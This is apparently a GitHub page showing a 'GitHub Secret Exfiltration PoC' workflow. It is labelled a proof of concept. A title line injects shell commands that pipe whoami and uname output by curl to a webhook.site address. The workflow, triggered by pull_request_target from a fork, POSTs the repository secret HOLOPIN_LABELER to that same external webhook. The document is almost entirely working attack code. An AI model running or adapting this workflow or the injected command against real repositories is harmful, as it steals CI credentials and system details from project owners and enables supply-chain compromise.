whoami | curl -X POST -d @- https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1 ; uname -a | curl -X POST -d @- https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1 #6
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| name: GitHub Secret Exfiltration PoC | |
| on: | |
| pull_request_target: | |
| types: [opened] | |
| jobs: | |
| exploit: | |
| runs-on: ubuntu-latest | |
| steps: | |
| - name: Show that the PoC workflow is running | |
| run: echo "[+] Workflow triggered by PR from fork" | |
| - name: Try to exfiltrate HOLOPIN_LABELER secret | |
| run: | | |
| echo "[+] Sending secret to Webhook.site..." | |
| curl -X POST \ | |
| -H "Content-Type: application/x-www-form-urlencoded" \ | |
| -d "token=${{ secrets.HOLOPIN_LABELER }}" \ | |
| https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1 |